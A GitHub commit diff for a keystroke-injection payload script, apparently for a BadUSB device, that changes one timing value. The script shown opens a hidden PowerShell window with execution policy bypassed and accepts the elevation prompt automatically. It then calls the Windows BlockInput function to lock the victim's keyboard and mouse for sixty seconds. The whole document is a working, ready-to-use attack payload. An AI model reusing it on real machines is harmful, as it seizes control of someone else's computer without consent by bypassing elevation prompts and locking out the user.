Update Disable-Keyboard-Mouse-60s.txt

This commit is contained in:
egieb
2024-06-12 10:04:46 +00:00
committed by GitHub
parent ec3daeb41f
commit 30c8416d51

View File

@@ -18,11 +18,11 @@ GUI r
DELAY 750
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
CTRL-SHIFT ENTER
DELAY 1500
DELAY 2500
ALT y
DELAY 5000
REM write out the main Powershell code.
STRING $s = '[DllImport("user32.dll")][return: MarshalAs(UnmanagedType.Bool)]public static extern bool BlockInput(bool fBlockIt);'
STRING ;Add-Type -M $s -Name U -Names W;[W.U]::BlockInput($true);sleep 60;[W.U]::BlockInput($false)
ENTER
ENTER